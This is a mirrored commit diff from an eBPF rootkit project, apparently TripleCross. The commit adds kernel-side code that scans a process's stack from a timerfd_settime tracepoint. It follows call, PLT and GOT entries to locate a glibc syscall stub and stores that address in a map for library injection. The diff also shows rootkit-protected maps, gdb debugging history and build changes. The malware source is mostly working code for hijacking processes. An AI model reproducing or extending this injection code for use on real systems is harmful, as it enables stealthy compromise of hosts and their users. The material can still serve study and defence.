mirror of
https://github.com/h3xduck/TripleCross.git
synced 2025-12-20 00:33:07 +08:00
Finished extraction of stack return address
This commit is contained in:
Binary file not shown.
12537
src/.output/kit.skel.h
12537
src/.output/kit.skel.h
File diff suppressed because it is too large
Load Diff
BIN
src/bin/kit
BIN
src/bin/kit
Binary file not shown.
@@ -23,6 +23,11 @@ struct fs_open_data{ //Map value
|
||||
int is_sudo;
|
||||
};
|
||||
|
||||
struct inj_ret_address_data{ //Map value
|
||||
__u32 pid;
|
||||
__u64 stack_ret_address;
|
||||
};
|
||||
|
||||
struct fs_priv_open{ //Map
|
||||
__uint(type, BPF_MAP_TYPE_HASH);
|
||||
__uint(max_entries, 4096);
|
||||
@@ -39,6 +44,13 @@ struct exec_var_priv_hijack_active{ //Map
|
||||
__type(value, __u64);
|
||||
} exec_var_hijack_active SEC(".maps");
|
||||
|
||||
//Return addresses of syscalls in the shared library, for the library injection
|
||||
struct inj_priv_ret_address{ //Map
|
||||
__uint(type, BPF_MAP_TYPE_HASH);
|
||||
__uint(max_entries, 4096);
|
||||
__type(key, __u64); //thread group id(MSB) + pid (LSB)
|
||||
__type(value, struct inj_ret_address_data);
|
||||
} inj_ret_address SEC(".maps");
|
||||
|
||||
/*PROTECTED MAPS*/
|
||||
//Any attempt to access these maps will be blocked by the rootkit if the program is not whitelisted
|
||||
|
||||
@@ -9,8 +9,10 @@
|
||||
#include <bpf/bpf_core_read.h>
|
||||
|
||||
#include "../../../common/constants.h"
|
||||
#include "defs.h"
|
||||
|
||||
#define OPCODE_JUMP_BYTE_0 0xe8
|
||||
#define OPCODES_SYSCALL_CALL 0
|
||||
|
||||
struct sys_timerfd_settime_enter_ctx {
|
||||
unsigned long long unused; //Pointer to pt_regs
|
||||
@@ -22,38 +24,115 @@ struct sys_timerfd_settime_enter_ctx {
|
||||
struct __kernel_itimerspec *otmr;
|
||||
};
|
||||
|
||||
static __always_inline int stack_extract_return_address(__u64 stack){
|
||||
/**
|
||||
* @brief Checks whether the format of the syscall is the expected one
|
||||
*
|
||||
* @param opcodes
|
||||
* @param size
|
||||
* @return 0 if correct, 1 otherwise
|
||||
*/
|
||||
static __always_inline int check_syscall_opcodes(__u8* opcodes){
|
||||
return 0 == (opcodes[0]==0xf3
|
||||
&& opcodes[1]==0x0f
|
||||
&& opcodes[2]==0x1e
|
||||
&& opcodes[3]==0xfa
|
||||
&& opcodes[4]==0x49
|
||||
&& opcodes[5]==0x89
|
||||
&& opcodes[6]==0xca
|
||||
&& opcodes[7]==0xb8
|
||||
&& opcodes[8]==0x1e
|
||||
&& opcodes[9]==0x01
|
||||
&& opcodes[10]==0x00
|
||||
&& opcodes[11]==0x00
|
||||
&& opcodes[12]==0x0f
|
||||
&& opcodes[13]==0x05);
|
||||
|
||||
}
|
||||
|
||||
static __always_inline int stack_extract_return_address_plt(__u64 stack){
|
||||
//We now have a possible call instruction, we check if it starts with the correct format
|
||||
__u8 *op = (__u8*)(stack - 0x5);
|
||||
__u8 opcode_arr[5];
|
||||
bpf_probe_read(&opcode_arr, 5*sizeof(__u8), op);
|
||||
if (opcode_arr[0] != OPCODE_JUMP_BYTE_0) {
|
||||
bpf_printk(" -- Failed OPCODE: %x\n", opcode_arr[0]);
|
||||
return 0;
|
||||
//bpf_printk(" -- Failed OPCODE: %x\n", opcode_arr[0]);
|
||||
return -1;
|
||||
}
|
||||
|
||||
bpf_printk("OPCODE: %x\n", opcode_arr[0]);
|
||||
bpf_printk("OPCODE: %x\n", opcode_arr[1]);
|
||||
bpf_printk("OPCODE: %x\n", opcode_arr[2]);
|
||||
bpf_printk("OPCODE: %x\n", opcode_arr[3]);
|
||||
bpf_printk("OPCODE: %x\n", opcode_arr[4]);
|
||||
//We have localized the call instruction. We proceed to get the offset of the call.
|
||||
__u32 offset;
|
||||
bpf_probe_read(&offset, sizeof(__u32), &op[1]);
|
||||
if(bpf_probe_read_user(&offset, sizeof(__u32), &op[1])<0){
|
||||
bpf_printk("Failed to read op[1]\n");
|
||||
return -1;
|
||||
}
|
||||
bpf_printk("OP[1]: %x\n", &op[1]);
|
||||
bpf_printk("OFFSET: %x\n", offset);
|
||||
__u8* call_addr = (__u8*)((op+offset+5));
|
||||
bpf_printk("OFFSET8: %x\n", (__u8)offset);
|
||||
bpf_printk("OP8: %x\n", (__u8*)op);
|
||||
__u32 sum = (uintptr_t)(op+offset+5);
|
||||
bpf_printk("SUM: %x\n", sum);
|
||||
|
||||
__u8* call_addr = (__u8*)(__u64)sum;
|
||||
|
||||
//We check which address was called. We could either be at libc already after
|
||||
//following it, or in the PLT entry on the same executable as before.
|
||||
__u32 call_dest;
|
||||
__u64 call_opcode;
|
||||
bpf_printk("CALL_ADDR: %lx\n", call_addr);
|
||||
bpf_probe_read(&call_dest, sizeof(__u32), call_addr);
|
||||
bpf_printk("BYTES: %llx\n", call_dest);
|
||||
int ret;
|
||||
if ((ret = bpf_probe_read_user(&call_opcode, sizeof(__u64), call_addr)) < 0){
|
||||
bpf_printk("Failed to read memory at %x, RET IS %i\n", call_addr, ret);
|
||||
//call_dest = *call_addr;
|
||||
//bpf_printk("DEST: %lx\n", call_dest);
|
||||
return -1;
|
||||
}
|
||||
bpf_printk("CALL_OPCODES: %lx\n", call_opcode);
|
||||
|
||||
bpf_probe_read(&opcode_arr, 2*sizeof(__u8), call_addr);
|
||||
bpf_printk("OPCODE0: %x\n", opcode_arr[0]);
|
||||
bpf_printk("OPCODE1: %x\n", opcode_arr[1]);
|
||||
bpf_probe_read_user(&opcode_arr, 2*sizeof(__u8), call_addr);
|
||||
//bpf_printk("OPCODE0: %x\n", opcode_arr[0]);
|
||||
//bpf_printk("OPCODE1: %x\n", opcode_arr[1]);
|
||||
|
||||
if(opcode_arr[0]==0xff && opcode_arr[1]==0x25){
|
||||
bpf_printk("Found PLT entry\n");
|
||||
//We analyze the offset of the jump specified ff 25 XX XX XX XX
|
||||
//The address to which the jump takes us should be the actual syscall setup
|
||||
__u32 j_offset;
|
||||
bpf_probe_read_user(&j_offset, sizeof(__u32), &call_addr[2]);
|
||||
//j_offset += 6;
|
||||
//We obtain the address of the jump by adding the offset + our current memory address + 6 bytes of the current instruction
|
||||
__u64* j_addr = (u64*)(call_addr + j_offset + 6);
|
||||
bpf_printk("JOFFSET: %x\n", j_offset);
|
||||
bpf_printk("JADDR: %lx\n", j_addr);
|
||||
//Now that we have the address of the jump, we proceed to get the instruction opcodes there
|
||||
//However it's a bit more complex since what we have is the address in the GOT section where
|
||||
//the linker will place the address inside the shared library where the function is located.
|
||||
//More info in the documentation.
|
||||
__u64 got_addr;
|
||||
bpf_probe_read_user(&got_addr, sizeof(__u64), j_addr);
|
||||
bpf_printk("GOT_ADDR: %lx\n",got_addr);
|
||||
//Now that we have the address placed in the GOT section we can finally go to the function in glibc
|
||||
//where the syscall resides. We read the opcodes and check that they are the ones expected
|
||||
__u8 s_opcode[14];
|
||||
bpf_probe_read_user(s_opcode, 14*sizeof(__u8), (void*)got_addr);
|
||||
for(int ii=0; ii<14; ii++){
|
||||
//bpf_printk("S_OPC %i: %x\n",ii,s_opcode[ii]);
|
||||
}
|
||||
if(check_syscall_opcodes(s_opcode)!=0){
|
||||
bpf_printk("Not the expected syscall\n");
|
||||
return -1;
|
||||
}
|
||||
//We got the expected syscall. We return the address at which we found it
|
||||
//We put it in an internal map.
|
||||
__u64 pid_tgid = bpf_get_current_pid_tgid();
|
||||
__u32 pid = pid_tgid >> 32;
|
||||
struct inj_ret_address_data *inj_ret_addr = (struct inj_ret_address_data*) bpf_map_lookup_elem(&inj_ret_address, &pid_tgid);
|
||||
if (inj_ret_addr == NULL){
|
||||
return -1;
|
||||
}
|
||||
struct inj_ret_address_data addr = *inj_ret_addr;
|
||||
addr.pid = pid;
|
||||
addr.stack_ret_address = (__u64)got_addr;
|
||||
bpf_map_update_elem(&inj_ret_address, &pid_tgid, &addr, BPF_ANY);
|
||||
}
|
||||
|
||||
|
||||
return 0;
|
||||
@@ -83,10 +162,10 @@ int sys_timerfd_settime(struct sys_timerfd_settime_enter_ctx *ctx){
|
||||
__u64 address = 0;
|
||||
bpf_printk("Timer %i to scan at address %lx\n", fd, scanner);
|
||||
#pragma unroll
|
||||
for(__u64 ii=0; ii<14; ii++){
|
||||
bpf_probe_read(&address, sizeof(__u64), (void*)scanner - ii*8);
|
||||
bpf_printk("stack: %lx\n", address);
|
||||
stack_extract_return_address(address);
|
||||
for(__u64 ii=0; ii<100; ii++){
|
||||
bpf_probe_read(&address, sizeof(__u64), (void*)scanner - ii);
|
||||
//bpf_printk("stack: %lx\n", address);
|
||||
stack_extract_return_address_plt(address);
|
||||
}
|
||||
|
||||
|
||||
@@ -120,7 +199,7 @@ int uprobe_execute_command(struct pt_regs *ctx){
|
||||
bpf_printk("Error reading instruction\n");
|
||||
return -1;
|
||||
}
|
||||
bpf_printk("Stack: %x\n", dest_buf);
|
||||
//bpf_printk("Stack: %x\n", dest_buf);
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
@@ -2,3 +2,40 @@ disass main
|
||||
checksec bof
|
||||
checksec
|
||||
quit
|
||||
disass test_time_values_injection
|
||||
disass test_time_values_injection+74
|
||||
b test_time_values_injection+74
|
||||
b test_time_values_injection + 74
|
||||
b *(test_time_values_injection + 74)
|
||||
r
|
||||
si
|
||||
si
|
||||
si
|
||||
si
|
||||
q
|
||||
b timerfd_settime
|
||||
r
|
||||
context
|
||||
q
|
||||
disass test_time_values_injection
|
||||
b *(test_time_values_injection +74)
|
||||
r
|
||||
si
|
||||
si
|
||||
q
|
||||
b test_time_values_injection +74
|
||||
b (test_time_values_injection +74)
|
||||
b *(test_time_values_injection +74)
|
||||
r
|
||||
si
|
||||
display/i $pc
|
||||
si
|
||||
si
|
||||
si
|
||||
q
|
||||
disass test_time_values_injection
|
||||
b *(test_time_values_injection +116)
|
||||
r
|
||||
si
|
||||
si
|
||||
q
|
||||
|
||||
@@ -12,7 +12,7 @@ execve_hijack.o: execve_hijack.c $(HEADERS)
|
||||
clang -g -c execve_hijack.c
|
||||
|
||||
execve_hijack: execve_hijack.o lib/libRawTCP_Lib.a
|
||||
clang -lm -g -o execve_hijack execve_hijack.o -ldl -L. lib/libRawTCP_Lib.a
|
||||
clang -lm -g -fno-plt -o execve_hijack execve_hijack.o -ldl -L. lib/libRawTCP_Lib.a
|
||||
|
||||
clean:
|
||||
-rm -f execve_hijack.o
|
||||
|
||||
Binary file not shown.
@@ -30,6 +30,7 @@ int test_time_values_injection(){
|
||||
uint64_t exp, tot_exp;
|
||||
ssize_t s;
|
||||
|
||||
|
||||
fd = timerfd_create(CLOCK_REALTIME, 0);
|
||||
if (fd == -1)
|
||||
return -1;
|
||||
@@ -40,6 +41,7 @@ int test_time_values_injection(){
|
||||
if (timerfd_settime(fd, TFD_TIMER_ABSTIME, &new_value, NULL) == -1)
|
||||
return -1;
|
||||
|
||||
|
||||
printf("Timer %i started, address sent %llx\n", fd, (__u64)&new_value);
|
||||
|
||||
return 0;
|
||||
|
||||
Binary file not shown.
2
src/helpers/peda-session-execve_hijack.txt
Normal file
2
src/helpers/peda-session-execve_hijack.txt
Normal file
@@ -0,0 +1,2 @@
|
||||
break *(test_time_values_injection +116)
|
||||
|
||||
Reference in New Issue
Block a user